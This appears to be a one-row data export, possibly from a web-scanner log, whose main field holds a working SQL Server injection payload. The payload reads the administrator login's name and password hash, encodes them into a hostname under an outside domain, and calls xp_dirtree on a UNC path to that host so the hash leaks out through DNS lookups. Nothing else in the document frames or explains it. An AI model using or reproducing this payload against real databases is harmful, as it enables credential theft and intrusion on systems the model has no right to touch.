| _id | id | type | uri |
| 63bcb584a629c8160e933466 | 3 | declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.4ruhnmc2y3tqizaexiiv-rpjwhxerur4bdnyex2v'+'kuk.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') | http://www.example.com |